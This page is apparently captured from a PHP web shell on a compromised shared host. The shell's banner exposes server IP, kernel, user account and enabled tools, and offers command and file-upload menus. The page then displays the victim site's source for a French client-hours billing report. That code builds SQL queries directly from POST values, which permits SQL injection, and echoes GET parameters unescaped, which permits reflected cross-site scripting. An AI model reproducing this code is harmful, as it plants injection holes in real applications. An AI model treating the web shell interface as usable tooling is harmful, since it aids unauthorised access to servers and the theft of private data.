|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro2.php';
include 'includes/stable_functions_tmcpro.php';
$annee = $year = date('Y');
$mois = $month = date('m');
$months = array(
1 => 'Janvier',
2 => 'Février',
3 => 'Mars',
4 => 'Avril',
5 => 'Mai',
6 => 'Juin',
7 => 'Juillet',
8 => 'Août',
9 => 'Septembre',
10 => 'Octobre',
11 => 'Novembre',
12 => 'Décembre'
);
$_SESSION["id_etab"]= 111 ;
if(!empty( $_POST["client_etab"]))
{
$_SESSION["id_etab"] = $_POST["client_etab"];
}
if($_SESSION["id_etab"]== 111){
$where_etablissement_id="" ;
}
else{
$where_etablissement_id = " AND c.etablissement_id = ".$_SESSION["id_etab"] ;
}
// Initialisation des valeurs si le formulaire est soumis
if (!empty($_POST)) {
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
$mois = $_POST['mois']; // Mettre à jour le mois en fonction de la sélection
$annee = $_POST['annee']; // Mettre à jour l'année en fonction de la sélection
}
// echo "===>".$mois."<br/>" ;
include_once 'function-news.php';
$tot_nbh = 0;
$nb_clients = 0 ;
if (!empty($_POST)) {
list($factures_ttc) = dbi_fetch_row(dbi_query("SELECT SUM(total) AS total FROM " . TABLE_FACT . " WHERE date_debut>='" . $_POST['annee'] . '' . $_POST['mois'] . '01' . "' AND date_fin<=" . date('Ymt', strtotime($_POST['annee'] . '-' . $_POST['mois'] . '-01'))));
list($montant_avoir, $nbh_avoir, $av_client_id, $av_fact_id) = dbi_fetch_row(dbi_query("SELECT SUM(montant) AS montant, SUM(nbheure) AS nbh_avoir, client_id, a.fact_id FROM " . TABLE_FACT . " f , avoir a WHERE f.fact_id = a.fact_id and date_debut>='" . $_POST['annee'] . '' . $_POST['mois'] . '01' . "' AND date_fin<=" . date('Ymt', strtotime($_POST['annee'] . '-' . $_POST['mois'] . '-01'))));
$reqh = dbi_query("SELECT f.client_id, f.data FROM " . TABLE_FACT . " f , client c WHERE f.client_id = c.client_id $where_etablissement_id and date_debut>='" . $_POST['annee'] . '' . $_POST['mois'] . '01' . "' AND date_fin<=" . date('Ymt', strtotime($_POST['annee'] . '-' . $_POST['mois'] . '-01')));
list( $nb_clients )= dbi_fetch_row(dbi_query("SELECT count(f.client_id) FROM " . TABLE_FACT . " f , client c WHERE f.client_id = c.client_id $where_etablissement_id and date_debut>='" . $_POST['annee'] . '' . $_POST['mois'] . '01' . "' AND date_fin<=" . date('Ymt', strtotime($_POST['annee'] . '-' . $_POST['mois'] . '-01'))));
// echo "SELECT f.client_id, f.data FROM " . TABLE_FACT . " f , client c WHERE f.client_id = c.client_id and $where_etablissement_id date_debut>='" . $_POST['annee'] . '' . $_POST['mois'] . '01' . "' AND date_fin<=" . date('Ymt', strtotime($_POST['annee'] . '-' . $_POST['mois'] . '-01'))."<br/>" ;
while ($datafact = dbi_fetch_row($reqh)) {
if (!in_array($datafact['client_id'], $clients)) $clients[] = $datafact['client_id'];
list($data) = unserialize($datafact['data']);
if (empty($data)) {
$data = utf8_decode($datafact['data']);
list($data) = unserialize($data);
}
foreach ($data as $d) {
if ($d['type'] != 'f') {
$tot_nbh += $d['nbH'];
}
}
}
}
// $tot_nbh = $tot_nbh - $nbh_avoir ;
?>
<html>
<head>
<?php include('header.php'); ?>
<style>
.total-hours-box {
background: #f4f6f9;
border: 2px solid #007bff;
padding: 15px;
text-align: center;
margin: 20px;
border-radius: 10px;
box-shadow: 0px 4px 8px rgba(0,0,0,0.1);
}
.total-hours-box h3 {
color: #007bff;
font-size: 1.5em;
margin: 0;
}
.content-header h1 {
color: #007bff;
}
.card-header {
background-color: #007bff;
color: white;
}
.form-group label {
font-weight: bold;
}
.table {
margin-top: 20px;
}
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
</ul>
</nav>
<!-- Affichage du total des heures dans une boîte stylisée -->
<div class="total-hours-box">
<h3>Total des heures : <strong><?php echo $tot_nbh; ?></strong></h3>
<h3>Nombres des clients : <strong><?php echo $nb_clients; ?></strong></h3>
</div>
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<section class="content">
<?php if (isset($_GET["msg"])): ?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"] . ': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php endif; ?>
<div class="row">
<div class="col-12">
<div class="card card-info">
<div class="card-header">
<h3 class="card-title"> <i class="nav-icon fas fa-chart-bar"></i> Statistiques / Chiffre d'Affaires</h3>
</div>
<div class="card-body">
<form role="form" method='POST' action=''>
<div class="card-body">
<div class="row">
<div class="col-sm-3">
<div class="form-group">
<label>Année</label>
<select name='annee' id='annee' class="form-control">
<?php
$earliest_year = 2018;
foreach (range($year + 3, $earliest_year) as $x) {
echo '<option value="' . $x . '"' . ($x == $annee ? ' selected="selected"' : '') . '>' . $x . '</option>';
}
?>
</select>
</div>
</div>
<?
// echo "=llll=============>".$_SESSION["id_etab"]."<br/>" ;
// exit() ;
?>
<div class="col-sm-3">
<div class="form-group">
<label>Mois</label>
<select name='mois' id='mois' class="form-control">
<?php
foreach ($months as $key => $value) {
// echo "==>".$key."<br/>" ;
$key = sprintf("%02d", $key);
$selected = ($key == $_POST['mois']) ? ' selected="selected"' : '';
echo "<option value=\"$key\" $selected>$value</option>";
}
?>
</select>
</div>
</div>
<div class="col-sm-3">
<div class="form-group">
<label>Etablissement</label>
<?php $qa = dbi_query("SELECT * FROM `etablissement`") ; ?>
<select class="form-control select" style="width: 100%;" id="client_etab" name="client_etab" >
<?php while($etab=dbi_fetch_row($qa)) {?>
<option value="<?php echo $etab['etablissement_id']; ?>"
<?php if ($etab['etablissement_id'] == $_SESSION["id_etab"]) { echo "selected"; } ?> >
<?php echo $etab['etablissement_nom']; ?>
</option>
<?php } ?>
<option value="111" <?php if($_SESSION["id_etab"]== 111 ){echo "selected" ;} ?> >Tous les Etablissements</option>
</select>
</div>
</div>
<div class="col-sm-3">
<div class="form-group"><label><br/></label>
<button type="submit" class="btn btn-block bg-gradient-primary">Valider</button>
</div>
</div>
</div>
</div>
</form>
<?php if (!empty($_POST)): ?>
<table id="example" class="table table-striped table-bordered" style="width:100%">
<thead>
<tr>
<th>Nom du Client</th>
<th>Nombre d'heures</th>
</tr>
</thead>
<tbody>
<?php
$reqh = dbi_query("SELECT f.client_id, f.data FROM " . TABLE_FACT . " f , client c WHERE f.client_id = c.client_id $where_etablissement_id and date_debut>='" . $_POST['annee'] . '' . $_POST['mois'] . '01' . "' AND date_fin<=" . date('Ymt', strtotime($_POST['annee'] . '-' . $_POST['mois'] . '-01')));
while ($datafact = dbi_fetch_row($reqh)) {
$hclient = 0;
list($data) = unserialize($datafact['data']);
if (empty($data)) {
$data = utf8_decode($datafact['data']);
list($data) = unserialize($data);
}
list($nom, $pnom) = dbi_fetch_row(dbi_query("SELECT client_nom, client_pnom FROM `client` WHERE `client_id` = " . $datafact['client_id']));
foreach ($data as $d) {
if ($d['type'] != 'f') {
$hclient += $d['nbH'];
}
}
?>
<tr>
<td><?= $nom . " " . $pnom ?></td>
<td><?= $hclient ?></td>
</tr>
<?php
}
?>
</tbody>
</table>
<?php endif; ?>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<script src="../../dist/js/demo.js"></script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
bsCustomFileInput.init();
});
</script>
</body>
</html>
